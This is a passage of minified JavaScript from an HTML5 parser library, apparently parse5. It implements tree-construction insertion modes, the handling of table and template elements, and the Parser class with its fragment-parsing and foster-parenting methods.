k(e,t){e.openElements.tmplCount>0?(e.openElements.generateImpliedEndTagsThoroughly(),e.openElements.currentTagId!==d.TAG_ID.TEMPLATE&&e._err(t,u.ERR.closingOfElementWithOpenChildElements),e.openElements.popUntilTagNamePopped(d.TAG_ID.TEMPLATE),e.activeFormattingElements.clearToLastMarker(),e.tmplInsertionModeStack.shift(),e._resetInsertionMode()):e._err(t,u.ERR.endTagWithoutMatchingOpenElement)}function L(e,t){e.openElements.pop(),e.insertionMode=m.AFTER_HEAD,e._processToken(t)}function M(e,t){const r=t.type===h.TokenType.EOF?u.ERR.openElementsLeftAfterEof:u.ERR.disallowedContentInNoscriptInHead;e._err(t,r),e.openElements.pop(),e.insertionMode=m.IN_HEAD,e._processToken(t)}function x(e,t){e._insertFakeElement(d.TAG_NAMES.BODY,d.TAG_ID.BODY),e.insertionMode=m.IN_BODY,F(e,t)}function F(e,t){switch(t.type){case h.TokenType.CHARACTER:B(e,t);break;case h.TokenType.WHITESPACE_CHARACTER:U(e,t);break;case h.TokenType.COMMENT:C(e,t);break;case h.TokenType.START_TAG:W(e,t);break;case h.TokenType.END_TAG:V(e,t);break;case h.TokenType.EOF:K(e,t)}}function U(e,t){e._reconstructActiveFormattingElements(),e._insertCharacters(t)}function B(e,t){e._reconstructActiveFormattingElements(),e._insertCharacters(t),e.framesetOk=!1}function G(e,t){e._reconstructActiveFormattingElements(),e._appendElement(t,d.NS.HTML),e.framesetOk=!1,t.ackSelfClosing=!0}function H(e){const t=(0,h.getTokenAttr)(e,d.ATTRS.TYPE);return null!=t&&t.toLowerCase()===f}function j(e,t){e._switchToTextParsing(t,s.TokenizerMode.RAWTEXT)}function $(e,t){e._reconstructActiveFormattingElements(),e._insertElement(t,d.NS.HTML)}function W(e,t){switch(t.tagID){case d.TAG_ID.I:case d.TAG_ID.S:case d.TAG_ID.B:case d.TAG_ID.U:case d.TAG_ID.EM:case d.TAG_ID.TT:case d.TAG_ID.BIG:case d.TAG_ID.CODE:case d.TAG_ID.FONT:case d.TAG_ID.SMALL:case d.TAG_ID.STRIKE:case d.TAG_ID.STRONG:!function(e,t){e._reconstructActiveFormattingElements(),e._insertElement(t,d.NS.HTML),e.activeFormattingElements.pushElement(e.openElements.current,t)}(e,t);break;case d.TAG_ID.A:!function(e,t){const r=e.activeFormattingElements.getElementEntryInScopeWithTagName(d.TAG_NAMES.A);r&&(I(e,t),e.openElements.remove(r.element),e.activeFormattingElements.removeEntry(r)),e._reconstructActiveFormattingElements(),e._insertElement(t,d.NS.HTML),e.activeFormattingElements.pushElement(e.openElements.current,t)}(e,t);break;case d.TAG_ID.H1:case d.TAG_ID.H2:case d.TAG_ID.H3:case d.TAG_ID.H4:case d.TAG_ID.H5:case d.TAG_ID.H6:!function(e,t){e.openElements.hasInButtonScope(d.TAG_ID.P)&&e._closePElement(),d.NUMBERED_HEADERS.has(e.openElements.currentTagId)&&e.openElements.pop(),e._insertElement(t,d.NS.HTML)}(e,t);break;case d.TAG_ID.P:case d.TAG_ID.DL:case d.TAG_ID.OL:case d.TAG_ID.UL:case d.TAG_ID.DIV:case d.TAG_ID.DIR:case d.TAG_ID.NAV:case d.TAG_ID.MAIN:case d.TAG_ID.MENU:case d.TAG_ID.ASIDE:case d.TAG_ID.CENTER:case d.TAG_ID.FIGURE:case d.TAG_ID.FOOTER:case d.TAG_ID.HEADER:case d.TAG_ID.HGROUP:case d.TAG_ID.DIALOG:case d.TAG_ID.DETAILS:case d.TAG_ID.ADDRESS:case d.TAG_ID.ARTICLE:case d.TAG_ID.SEARCH:case d.TAG_ID.SECTION:case d.TAG_ID.SUMMARY:case d.TAG_ID.FIELDSET:case d.TAG_ID.BLOCKQUOTE:case d.TAG_ID.FIGCAPTION:!function(e,t){e.openElements.hasInButtonScope(d.TAG_ID.P)&&e._closePElement(),e._insertElement(t,d.NS.HTML)}(e,t);break;case d.TAG_ID.LI:case d.TAG_ID.DD:case d.TAG_ID.DT:!function(e,t){e.framesetOk=!1;const r=t.tagID;for(let t=e.openElements.stackTop;t>=0;t--){const s=e.openElements.tagIDs[t];if(r===d.TAG_ID.LI&&s===d.TAG_ID.LI||(r===d.TAG_ID.DD||r===d.TAG_ID.DT)&&(s===d.TAG_ID.DD||s===d.TAG_ID.DT)){e.openElements.generateImpliedEndTagsWithExclusion(s),e.openElements.popUntilTagNamePopped(s);break}if(s!==d.TAG_ID.ADDRESS&&s!==d.TAG_ID.DIV&&s!==d.TAG_ID.P&&e._isSpecialElement(e.openElements.items[t],s))break}e.openElements.hasInButtonScope(d.TAG_ID.P)&&e._closePElement(),e._insertElement(t,d.NS.HTML)}(e,t);break;case d.TAG_ID.BR:case d.TAG_ID.IMG:case d.TAG_ID.WBR:case d.TAG_ID.AREA:case d.TAG_ID.EMBED:case d.TAG_ID.KEYGEN:G(e,t);break;case d.TAG_ID.HR:!function(e,t){e.openElements.hasInButtonScope(d.TAG_ID.P)&&e._closePElement(),e._appendElement(t,d.NS.HTML),e.framesetOk=!1,t.ackSelfClosing=!0}(e,t);break;case d.TAG_ID.RB:case d.TAG_ID.RTC:!function(e,t){e.openElements.hasInScope(d.TAG_ID.RUBY)&&e.openElements.generateImpliedEndTags(),e._insertElement(t,d.NS.HTML)}(e,t);break;case d.TAG_ID.RT:case d.TAG_ID.RP:!function(e,t){e.openElements.hasInScope(d.TAG_ID.RUBY)&&e.openElements.generateImpliedEndTagsWithExclusion(d.TAG_ID.RTC),e._insertElement(t,d.NS.HTML)}(e,t);break;case d.TAG_ID.PRE:case d.TAG_ID.LISTING:!function(e,t){e.openElements.hasInButtonScope(d.TAG_ID.P)&&e._closePElement(),e._insertElement(t,d.NS.HTML),e.skipNextNewLine=!0,e.framesetOk=!1}(e,t);break;case d.TAG_ID.XMP:!function(e,t){e.openElements.hasInButtonScope(d.TAG_ID.P)&&e._closePElement(),e._reconstructActiveFormattingElements(),e.framesetOk=!1,e._switchToTextParsing(t,s.TokenizerMode.RAWTEXT)}(e,t);break;case d.TAG_ID.SVG:!function(e,t){e._reconstructActiveFormattingElements(),l.adjustTokenSVGAttrs(t),l.adjustTokenXMLAttrs(t),t.selfClosing?e._appendElement(t,d.NS.SVG):e._insertElement(t,d.NS.SVG),t.ackSelfClosing=!0}(e,t);break;case d.TAG_ID.HTML:!function(e,t){0===e.openElements.tmplCount&&e.treeAdapter.adoptAttributes(e.openElements.items[0],t.attrs)}(e,t);break;case d.TAG_ID.BASE:case d.TAG_ID.LINK:case d.TAG_ID.META:case d.TAG_ID.STYLE:case d.TAG_ID.TITLE:case d.TAG_ID.SCRIPT:case d.TAG_ID.BGSOUND:case d.TAG_ID.BASEFONT:case d.TAG_ID.TEMPLATE:R(e,t);break;case d.TAG_ID.BODY:!function(e,t){const r=e.openElements.tryPeekProperlyNestedBodyElement();r&&0===e.openElements.tmplCount&&(e.framesetOk=!1,e.treeAdapter.adoptAttributes(r,t.attrs))}(e,t);break;case d.TAG_ID.FORM:!function(e,t){const r=e.openElements.tmplCount>0;e.formElement&&!r||(e.openElements.hasInButtonScope(d.TAG_ID.P)&&e._closePElement(),e._insertElement(t,d.NS.HTML),r||(e.formElement=e.openElements.current))}(e,t);break;case d.TAG_ID.NOBR:!function(e,t){e._reconstructActiveFormattingElements(),e.openElements.hasInScope(d.TAG_ID.NOBR)&&(I(e,t),e._reconstructActiveFormattingElements()),e._insertElement(t,d.NS.HTML),e.activeFormattingElements.pushElement(e.openElements.current,t)}(e,t);break;case d.TAG_ID.MATH:!function(e,t){e._reconstructActiveFormattingElements(),l.adjustTokenMathMLAttrs(t),l.adjustTokenXMLAttrs(t),t.selfClosing?e._appendElement(t,d.NS.MATHML):e._insertElement(t,d.NS.MATHML),t.ackSelfClosing=!0}(e,t);break;case d.TAG_ID.TABLE:!function(e,t){e.treeAdapter.getDocumentMode(e.document)!==d.DOCUMENT_MODE.QUIRKS&&e.openElements.hasInButtonScope(d.TAG_ID.P)&&e._closePElement(),e._insertElement(t,d.NS.HTML),e.framesetOk=!1,e.insertionMode=m.IN_TABLE}(e,t);break;case d.TAG_ID.INPUT:!function(e,t){e._reconstructActiveFormattingElements(),e._appendElement(t,d.NS.HTML),H(t)||(e.framesetOk=!1),t.ackSelfClosing=!0}(e,t);break;case d.TAG_ID.PARAM:case d.TAG_ID.TRACK:case d.TAG_ID.SOURCE:!function(e,t){e._appendElement(t,d.NS.HTML),t.ackSelfClosing=!0}(e,t);break;case d.TAG_ID.IMAGE:!function(e,t){t.tagName=d.TAG_NAMES.IMG,t.tagID=d.TAG_ID.IMG,G(e,t)}(e,t);break;case d.TAG_ID.BUTTON:!function(e,t){e.openElements.hasInScope(d.TAG_ID.BUTTON)&&(e.openElements.generateImpliedEndTags(),e.openElements.popUntilTagNamePopped(d.TAG_ID.BUTTON)),e._reconstructActiveFormattingElements(),e._insertElement(t,d.NS.HTML),e.framesetOk=!1}(e,t);break;case d.TAG_ID.APPLET:case d.TAG_ID.OBJECT:case d.TAG_ID.MARQUEE:!function(e,t){e._reconstructActiveFormattingElements(),e._insertElement(t,d.NS.HTML),e.activeFormattingElements.insertMarker(),e.framesetOk=!1}(e,t);break;case d.TAG_ID.IFRAME:!function(e,t){e.framesetOk=!1,e._switchToTextParsing(t,s.TokenizerMode.RAWTEXT)}(e,t);break;case d.TAG_ID.SELECT:!function(e,t){e._reconstructActiveFormattingElements(),e._insertElement(t,d.NS.HTML),e.framesetOk=!1,e.insertionMode=e.insertionMode===m.IN_TABLE||e.insertionMode===m.IN_CAPTION||e.insertionMode===m.IN_TABLE_BODY||e.insertionMode===m.IN_ROW||e.insertionMode===m.IN_CELL?m.IN_SELECT_IN_TABLE:m.IN_SELECT}(e,t);break;case d.TAG_ID.OPTION:case d.TAG_ID.OPTGROUP:!function(e,t){e.openElements.currentTagId===d.TAG_ID.OPTION&&e.openElements.pop(),e._reconstructActiveFormattingElements(),e._insertElement(t,d.NS.HTML)}(e,t);break;case d.TAG_ID.NOEMBED:case d.TAG_ID.NOFRAMES:j(e,t);break;case d.TAG_ID.FRAMESET:!function(e,t){const r=e.openElements.tryPeekProperlyNestedBodyElement();e.framesetOk&&r&&(e.treeAdapter.detachNode(r),e.openElements.popAllUpToHtmlElement(),e._insertElement(t,d.NS.HTML),e.insertionMode=m.IN_FRAMESET)}(e,t);break;case d.TAG_ID.TEXTAREA:!function(e,t){e._insertElement(t,d.NS.HTML),e.skipNextNewLine=!0,e.tokenizer.state=s.TokenizerMode.RCDATA,e.originalInsertionMode=e.insertionMode,e.framesetOk=!1,e.insertionMode=m.TEXT}(e,t);break;case d.TAG_ID.NOSCRIPT:e.options.scriptingEnabled?j(e,t):$(e,t);break;case d.TAG_ID.PLAINTEXT:!function(e,t){e.openElements.hasInButtonScope(d.TAG_ID.P)&&e._closePElement(),e._insertElement(t,d.NS.HTML),e.tokenizer.state=s.TokenizerMode.PLAINTEXT}(e,t);break;case d.TAG_ID.COL:case d.TAG_ID.TH:case d.TAG_ID.TD:case d.TAG_ID.TR:case d.TAG_ID.HEAD:case d.TAG_ID.FRAME:case d.TAG_ID.TBODY:case d.TAG_ID.TFOOT:case d.TAG_ID.THEAD:case d.TAG_ID.CAPTION:case d.TAG_ID.COLGROUP:break;default:$(e,t)}}function q(e,t){const r=t.tagName,s=t.tagID;for(let t=e.openElements.stackTop;t>0;t--){const n=e.openElements.items[t],i=e.openElements.tagIDs[t];if(s===i&&(s!==d.TAG_ID.UNKNOWN||e.treeAdapter.getTagName(n)===r)){e.openElements.generateImpliedEndTagsWithExclusion(s),e.openElements.stackTop>=t&&e.openElements.shortenToLength(t);break}if(e._isSpecialElement(n,i))break}}function V(e,t){switch(t.tagID){case d.TAG_ID.A:case d.TAG_ID.B:case d.TAG_ID.I:case d.TAG_ID.S:case d.TAG_ID.U:case d.TAG_ID.EM:case d.TAG_ID.TT:case d.TAG_ID.BIG:case d.TAG_ID.CODE:case d.TAG_ID.FONT:case d.TAG_ID.NOBR:case d.TAG_ID.SMALL:case d.TAG_ID.STRIKE:case d.TAG_ID.STRONG:I(e,t);break;case d.TAG_ID.P:!function(e){e.openElements.hasInButtonScope(d.TAG_ID.P)||e._insertFakeElement(d.TAG_NAMES.P,d.TAG_ID.P),e._closePElement()}(e);break;case d.TAG_ID.DL:case d.TAG_ID.UL:case d.TAG_ID.OL:case d.TAG_ID.DIR:case d.TAG_ID.DIV:case d.TAG_ID.NAV:case d.TAG_ID.PRE:case d.TAG_ID.MAIN:case d.TAG_ID.MENU:case d.TAG_ID.ASIDE:case d.TAG_ID.BUTTON:case d.TAG_ID.CENTER:case d.TAG_ID.FIGURE:case d.TAG_ID.FOOTER:case d.TAG_ID.HEADER:case d.TAG_ID.HGROUP:case d.TAG_ID.DIALOG:case d.TAG_ID.ADDRESS:case d.TAG_ID.ARTICLE:case d.TAG_ID.DETAILS:case d.TAG_ID.SEARCH:case d.TAG_ID.SECTION:case d.TAG_ID.SUMMARY:case d.TAG_ID.LISTING:case d.TAG_ID.FIELDSET:case d.TAG_ID.BLOCKQUOTE:case d.TAG_ID.FIGCAPTION:!function(e,t){const r=t.tagID;e.openElements.hasInScope(r)&&(e.openElements.generateImpliedEndTags(),e.openElements.popUntilTagNamePopped(r))}(e,t);break;case d.TAG_ID.LI:!function(e){e.openElements.hasInListItemScope(d.TAG_ID.LI)&&(e.openElements.generateImpliedEndTagsWithExclusion(d.TAG_ID.LI),e.openElements.popUntilTagNamePopped(d.TAG_ID.LI))}(e);break;case d.TAG_ID.DD:case d.TAG_ID.DT:!function(e,t){const r=t.tagID;e.openElements.hasInScope(r)&&(e.openElements.generateImpliedEndTagsWithExclusion(r),e.openElements.popUntilTagNamePopped(r))}(e,t);break;case d.TAG_ID.H1:case d.TAG_ID.H2:case d.TAG_ID.H3:case d.TAG_ID.H4:case d.TAG_ID.H5:case d.TAG_ID.H6:!function(e){e.openElements.hasNumberedHeaderInScope()&&(e.openElements.generateImpliedEndTags(),e.openElements.popUntilNumberedHeaderPopped())}(e);break;case d.TAG_ID.BR:!function(e){e._reconstructActiveFormattingElements(),e._insertFakeElement(d.TAG_NAMES.BR,d.TAG_ID.BR),e.openElements.pop(),e.framesetOk=!1}(e);break;case d.TAG_ID.BODY:!function(e,t){if(e.openElements.hasInScope(d.TAG_ID.BODY)&&(e.insertionMode=m.AFTER_BODY,e.options.sourceCodeLocationInfo)){const r=e.openElements.tryPeekProperlyNestedBodyElement();r&&e._setEndLocation(r,t)}}(e,t);break;case d.TAG_ID.HTML:!function(e,t){e.openElements.hasInScope(d.TAG_ID.BODY)&&(e.insertionMode=m.AFTER_BODY,de(e,t))}(e,t);break;case d.TAG_ID.FORM:!function(e){const t=e.openElements.tmplCount>0,{formElement:r}=e;t||(e.formElement=null),(r||t)&&e.openElements.hasInScope(d.TAG_ID.FORM)&&(e.openElements.generateImpliedEndTags(),t?e.openElements.popUntilTagNamePopped(d.TAG_ID.FORM):r&&e.openElements.remove(r))}(e);break;case d.TAG_ID.APPLET:case d.TAG_ID.OBJECT:case d.TAG_ID.MARQUEE:!function(e,t){const r=t.tagID;e.openElements.hasInScope(r)&&(e.openElements.generateImpliedEndTags(),e.openElements.popUntilTagNamePopped(r),e.activeFormattingElements.clearToLastMarker())}(e,t);break;case d.TAG_ID.TEMPLATE:k(e,t);break;default:q(e,t)}}function K(e,t){e.tmplInsertionModeStack.length>0?ce(e,t):N(e,t)}function Y(e,t){if(T.has(e.openElements.currentTagId))switch(e.pendingCharacterTokens.length=0,e.hasNonWhitespacePendingCharacterToken=!1,e.originalInsertionMode=e.insertionMode,e.insertionMode=m.IN_TABLE_TEXT,t.type){case h.TokenType.CHARACTER:Z(e,t);break;case h.TokenType.WHITESPACE_CHARACTER:J(e,t)}else X(e,t)}function z(e,t){switch(t.tagID){case d.TAG_ID.TD:case d.TAG_ID.TH:case d.TAG_ID.TR:!function(e,t){e.openElements.clearBackToTableContext(),e._insertFakeElement(d.TAG_NAMES.TBODY,d.TAG_ID.TBODY),e.insertionMode=m.IN_TABLE_BODY,ne(e,t)}(e,t);break;case d.TAG_ID.STYLE:case d.TAG_ID.SCRIPT:case d.TAG_ID.TEMPLATE:R(e,t);break;case d.TAG_ID.COL:!function(e,t){e.openElements.clearBackToTableContext(),e._insertFakeElement(d.TAG_NAMES.COLGROUP,d.TAG_ID.COLGROUP),e.insertionMode=m.IN_COLUMN_GROUP,re(e,t)}(e,t);break;case d.TAG_ID.FORM:!function(e,t){e.formElement||0!==e.openElements.tmplCount||(e._insertElement(t,d.NS.HTML),e.formElement=e.openElements.current,e.openElements.pop())}(e,t);break;case d.TAG_ID.TABLE:!function(e,t){e.openElements.hasInTableScope(d.TAG_ID.TABLE)&&(e.openElements.popUntilTagNamePopped(d.TAG_ID.TABLE),e._resetInsertionMode(),e._processStartTag(t))}(e,t);break;case d.TAG_ID.TBODY:case d.TAG_ID.TFOOT:case d.TAG_ID.THEAD:!function(e,t){e.openElements.clearBackToTableContext(),e._insertElement(t,d.NS.HTML),e.insertionMode=m.IN_TABLE_BODY}(e,t);break;case d.TAG_ID.INPUT:!function(e,t){H(t)?e._appendElement(t,d.NS.HTML):X(e,t),t.ackSelfClosing=!0}(e,t);break;case d.TAG_ID.CAPTION:!function(e,t){e.openElements.clearBackToTableContext(),e.activeFormattingElements.insertMarker(),e._insertElement(t,d.NS.HTML),e.insertionMode=m.IN_CAPTION}(e,t);break;case d.TAG_ID.COLGROUP:!function(e,t){e.openElements.clearBackToTableContext(),e._insertElement(t,d.NS.HTML),e.insertionMode=m.IN_COLUMN_GROUP}(e,t);break;default:X(e,t)}}function Q(e,t){switch(t.tagID){case d.TAG_ID.TABLE:e.openElements.hasInTableScope(d.TAG_ID.TABLE)&&(e.openElements.popUntilTagNamePopped(d.TAG_ID.TABLE),e._resetInsertionMode());break;case d.TAG_ID.TEMPLATE:k(e,t);break;case d.TAG_ID.BODY:case d.TAG_ID.CAPTION:case d.TAG_ID.COL:case d.TAG_ID.COLGROUP:case d.TAG_ID.HTML:case d.TAG_ID.TBODY:case d.TAG_ID.TD:case d.TAG_ID.TFOOT:case d.TAG_ID.TH:case d.TAG_ID.THEAD:case d.TAG_ID.TR:break;default:X(e,t)}}function X(e,t){const r=e.fosterParentingEnabled;e.fosterParentingEnabled=!0,F(e,t),e.fosterParentingEnabled=r}function J(e,t){e.pendingCharacterTokens.push(t)}function Z(e,t){e.pendingCharacterTokens.push(t),e.hasNonWhitespacePendingCharacterToken=!0}function ee(e,t){let r=0;if(e.hasNonWhitespacePendingCharacterToken)for(;r<e.pendingCharacterTokens.length;r++)X(e,e.pendingCharacterTokens[r]);else for(;r<e.pendingCharacterTokens.length;r++)e._insertCharacters(e.pendingCharacterTokens[r]);e.insertionMode=e.originalInsertionMode,e._processToken(t)}t.Parser=class{constructor(e,t,r=null,a=null){this.fragmentContext=r,this.scriptHandler=a,this.currentToken=null,this.stopped=!1,this.insertionMode=m.INITIAL,this.originalInsertionMode=m.INITIAL,this.headElement=null,this.formElement=null,this.currentNotInHTML=!1,this.tmplInsertionModeStack=[],this.pendingCharacterTokens=[],this.hasNonWhitespacePendingCharacterToken=!1,this.framesetOk=!0,this.skipNextNewLine=!1,this.fosterParentingEnabled=!1,this.options=Object.assign(Object.assign({},E),e),this.treeAdapter=this.options.treeAdapter,this.onParseError=this.options.onParseError,this.onParseError&&(this.options.sourceCodeLocationInfo=!0),this.document=null!=t?t:this.treeAdapter.createDocument(),this.tokenizer=new s.Tokenizer(this.options,this),this.activeFormattingElements=new i.FormattingElementList(this.treeAdapter),this.fragmentContextID=r?(0,d.getTagID)(this.treeAdapter.getTagName(r)):d.TAG_ID.UNKNOWN,this._setContextModes(null!=r?r:this.document,this.fragmentContextID),this.openElements=new n.OpenElementStack(this.document,this.treeAdapter,this)}static parse(e,t){const r=new this(t);return r.tokenizer.write(e,!0),r.document}static getFragmentParser(e,t){const r=Object.assign(Object.assign({},E),t);null!=e||(e=r.treeAdapter.createElement(d.TAG_NAMES.TEMPLATE,d.NS.HTML,[]));const s=r.treeAdapter.createElement("documentmock",d.NS.HTML,[]),n=new this(r,s,e);return n.fragmentContextID===d.TAG_ID.TEMPLATE&&n.tmplInsertionModeStack.unshift(m.IN_TEMPLATE),n._initTokenizerForFragmentParsing(),n._insertFakeRootElement(),n._resetInsertionMode(),n._findFormInFragmentContext(),n}getFragment(){const e=this.treeAdapter.getFirstChild(this.document),t=this.treeAdapter.createDocumentFragment();return this._adoptNodes(e,t),t}_err(e,t,r){var s;if(!this.onParseError)return;const n=null!==(s=e.location)&&void 0!==s?s:_,i={code:t,startLine:n.startLine,startCol:n.startCol,startOffset:n.startOffset,endLine:r?n.startLine:n.endLine,endCol:r?n.startCol:n.endCol,endOffset:r?n.startOffset:n.endOffset};this.onParseError(i)}onItemPush(e,t,r){var s,n;null===(n=(s=this.treeAdapter).onItemPush)||void 0===n||n.call(s,e),r&&this.openElements.stackTop>0&&this._setContextModes(e,t)}onItemPop(e,t){var r,s;if(this.options.sourceCodeLocationInfo&&this._setEndLocation(e,this.currentToken),null===(s=(r=this.treeAdapter).onItemPop)||void 0===s||s.call(r,e,this.openElements.current),t){let e,t;0===this.openElements.stackTop&&this.fragmentContext?(e=this.fragmentContext,t=this.fragmentContextID):({current:e,currentTagId:t}=this.openElements),this._setContextModes(e,t)}}_setContextModes(e,t){const r=e===this.document||this.treeAdapter.getNamespaceURI(e)===d.NS.HTML;this.currentNotInHTML=!r,this.tokenizer.inForeignNode=!r&&!this._isIntegrationPoint(t,e)}_switchToTextParsing(e,t){this._insertElement(e,d.NS.HTML),this.tokenizer.state=t,this.originalInsertionMode=this.insertionMode,this.insertionMode=m.TEXT}switchToPlaintextParsing(){this.insertionMode=m.TEXT,this.originalInsertionMode=m.IN_BODY,this.tokenizer.state=s.TokenizerMode.PLAINTEXT}_getAdjustedCurrentElement(){return 0===this.openElements.stackTop&&this.fragmentContext?this.fragmentContext:this.openElements.current}_findFormInFragmentContext(){let e=this.fragmentContext;for(;e;){if(this.treeAdapter.getTagName(e)===d.TAG_NAMES.FORM){this.formElement=e;break}e=this.treeAdapter.getParentNode(e)}}_initTokenizerForFragmentParsing(){if(this.fragmentContext&&this.treeAdapter.getNamespaceURI(this.fragmentContext)===d.NS.HTML)switch(this.fragmentContextID){case d.TAG_ID.TITLE:case d.TAG_ID.TEXTAREA:this.tokenizer.state=s.TokenizerMode.RCDATA;break;case d.TAG_ID.STYLE:case d.TAG_ID.XMP:case d.TAG_ID.IFRAME:case d.TAG_ID.NOEMBED:case d.TAG_ID.NOFRAMES:case d.TAG_ID.NOSCRIPT:this.tokenizer.state=s.TokenizerMode.RAWTEXT;break;case d.TAG_ID.SCRIPT:this.tokenizer.state=s.TokenizerMode.SCRIPT_DATA;break;case d.TAG_ID.PLAINTEXT:this.tokenizer.state=s.TokenizerMode.PLAINTEXT}}_setDocumentType(e){const t=e.name||"",r=e.publicId||"",s=e.systemId||"";if(this.treeAdapter.setDocumentType(this.document,t,r,s),e.location){const t=this.treeAdapter.getChildNodes(this.document).find((e=>this.treeAdapter.isDocumentTypeNode(e)));t&&this.treeAdapter.setNodeSourceCodeLocation(t,e.location)}}_attachElementToTree(e,t){if(this.options.sourceCodeLocationInfo){const r=t&&Object.assign(Object.assign({},t),{startTag:t});this.treeAdapter.setNodeSourceCodeLocation(e,r)}if(this._shouldFosterParentOnInsertion())this._fosterParentElement(e);else{const t=this.openElements.currentTmplContentOrNode;this.treeAdapter.appendChild(t,e)}}_appendElement(e,t){const r=this.treeAdapter.createElement(e.tagName,t,e.attrs);this._attachElementToTree(r,e.location)}_insertElement(e,t){const r=this.treeAdapter.createElement(e.tagName,t,e.attrs);this._attachElementToTree(r,e.location),this.openElements.push(r,e.tagID)}_insertFakeElement(e,t){const r=this.treeAdapter.createElement(e,d.NS.HTML,[]);this._attachElementToTree(r,null),this.openElements.push(r,t)}_insertTemplate(e){const t=this.treeAdapter.createElement(e.tagName,d.NS.HTML,e.attrs),r=this.treeAdapter.createDocumentFragment();this.treeAdapter.setTemplateContent(t,r),this._attachElementToTree(t,e.location),this.openElements.push(t,e.tagID),this.options.sourceCodeLocationInfo&&this.treeAdapter.setNodeSourceCodeLocation(r,null)}_insertFakeRootElement(){const e=this.treeAdapter.createElement(d.TAG_NAMES.HTML,d.NS.HTML,[]);this.options.sourceCodeLocationInfo&&this.treeAdapter.setNodeSourceCodeLocation(e,null),this.treeAdapter.appendChild(this.openElements.current,e),this.openElements.push(e,d.TAG_ID.HTML)}_appendCommentNode(e,t){const r=this.treeAdapter.createCommentNode(e.data);this.treeAdapter.appendChild(t,r),this.options.sourceCodeLocationInfo&&this.treeAdapter.setNodeSourceCodeLocation(r,e.location)}_insertCharacters(e){let t,r;if(this._shouldFosterParentOnInsertion()?(({parent:t,beforeElement:r}=this._findFosterParentingLocation()),r?this.treeAdapter.insertTextBefore(t,e.chars,r):this.treeAdapter.insertText(t,e.chars)):(t=this.openElements.currentTmplContentOrNode,this.treeAdapter.insertText(t,e.chars)),!e.location)return;const s=this.treeAdapter.getChildNodes(t),n=r?s.lastIndexOf(r):s.length,i=s[n-1];if(this.treeAdapter.getNodeSourceCodeLocation(i)){const{endLine:t,endCol:r,endOffset:s}=e.location;this.treeAdapter.updateNodeSourceCodeLocation(i,{endLine:t,endCol:r,endOffset:s})}else this.options.sourceCodeLocationInfo&&this.treeAdapter.setNodeSourceCodeLocation(i,e.location)}_adoptNodes(e,t){for(let r=this.treeAdapter.getFirstChild(e);r;r=this.treeAdapter.getFirstChild(e))this.treeAdapter.detachNode(r),this.treeAdapter.appendChild(t,r)}_setEndLocation(e,t){if(this.treeAdapter.getNodeSourceCodeLocation(e)&&t.location){const r=t.location,s=this.treeAdapter.getTagName(e),n=t.type===h.TokenType.END_TAG&&s===t.tagName?{endTag:Object.assign({},r),endLine:r.endLine,endCol:r.endCol,endOffset:r.endOffset}:{endLine:r.startLine,endCol:r.startCol,endOffset:r.startOffset};this.treeAdapter.updateNodeSourceCodeLocation(e,n)}}shouldProcessStartTagTokenInForeignContent(e){if(!this.currentNotInHTML)return!1;let t,r;return 0===this.openElements.stackTop&&this.fragmentContext?(t=this.fragmentContext,r=this.fragmentContextID):({current:t,currentTagId:r}=this.openElements),(e.tagID!==d.TAG_ID.SVG||this.treeAdapter.getTagName(t)!==d.TAG_NAMES.ANNOTATION_XML||this.treeAdapter.getNamespaceURI(t)!==d.NS.MATHML)&&(this.tokenizer.inForeignNode||(e.tagID===d.TAG_ID.MGLYPH||e.tagID===d.TAG_ID.MALIGNMARK)&&!this._isIntegrationPoint(r,t,d.NS.HTML))}_processToken(e){switch(e.type){case h.TokenType.CHARACTER:this.onCharacter(e);break;case h.TokenType.NULL_CHARACTER:this.onNullCharacter(e);break;case h.TokenType.COMMENT:this.onComment(e);break;case h.TokenType.DOCTYPE:this.onDoctype(e);break;case h.TokenType.START_TAG:this._processStartTag(e);break;case h.TokenType.END_TAG:this.onEndTag(e);break;case h.TokenType.EOF:this.onEof(e);break;case h.TokenType.WHITESPACE_CHARACTER:this.onWhitespaceCharacter(e)}}_isIntegrationPoint(e,t,r){const s=this.treeAdapter.getNamespaceURI(t),n=this.treeAdapter.getAttrList(t);return l.isIntegrationPoint(e,s,n,r)}_reconstructActiveFormattingElements(){const e=this.activeFormattingElements.entries.length;if(e){const t=this.activeFormattingElements.entries.findIndex((e=>e.type===i.EntryType.Marker||this.openElements.contains(e.element)));for(let r=t<0?e-1:t-1;r>=0;r--){const e=this.activeFormattingElements.entries[r];this._insertElement(e.token,this.treeAdapter.getNamespaceURI(e.element)),e.element=this.openElements.current}}}_closeTableCell(){this.openElements.generateImpliedEndTags(),this.openElements.popUntilTableCellPopped(),this.activeFormattingElements.clearToLastMarker(),this.insertionMode=m.IN_ROW}_closePElement(){this.openElements.generateImpliedEndTagsWithExclusion(d.TAG_ID.P),this.openElements.popUntilTagNamePopped(d.TAG_ID.P)}_resetInsertionMode(){for(let e=this.openElements.stackTop;e>=0;e--)switch(0===e&&this.fragmentContext?this.fragmentContextID:this.openElements.tagIDs[e]){case d.TAG_ID.TR:return void(this.insertionMode=m.IN_ROW);case d.TAG_ID.TBODY:case d.TAG_ID.THEAD:case d.TAG_ID.TFOOT:return void(this.insertionMode=m.IN_TABLE_BODY);case d.TAG_ID.CAPTION:return void(this.insertionMode=m.IN_CAPTION);case d.TAG_ID.COLGROUP:return void(this.insertionMode=m.IN_COLUMN_GROUP);case d.TAG_ID.TABLE:return void(this.insertionMode=m.IN_TABLE);case d.TAG_ID.BODY:return void(this.insertionMode=m.IN_BODY);case d.TAG_ID.FRAMESET:return void(this.insertionMode=m.IN_FRAMESET);case d.TAG_ID.SELECT:return void this._resetInsertionModeForSelect(e);case d.TAG_ID.TEMPLATE:return void(this.insertionMode=this.tmplInsertionModeStack[0]);case d.TAG_ID.HTML:return void(this.insertionMode=this.headElement?m.AFTER_HEAD:m.BEFORE_HEAD);case d.TAG_ID.TD:case d.TAG_ID.TH:if(e>0)return void(this.insertionMode=m.IN_CELL);break;case d.TAG_ID.HEAD:if(e>0)return void(this.insertionMode=m.IN_HEAD)}this.insertionMode=m.IN_BODY}_resetInsertionModeForSelect(e){if(e>0)for(let t=e-1;t>0;t--){const e=this.openElements.tagIDs[t];if(e===d.TAG_ID.TEMPLATE)break;if(e===d.TAG_ID.TABLE)return void(this.insertionMode=m.IN_SELECT_IN_TABLE)}this.insertionMode=m.IN_SELECT}_isElementCausesFosterParenting(e){return T.has(e)}_shouldFosterParentOnInsertion(){return this.fosterParentingEnabled&&this._isElementCausesFosterParenting(this.openElements.currentTagId)}_findFosterParentingLocation(){for(let e=this.openElements.stackTop;e>=0;e--){const 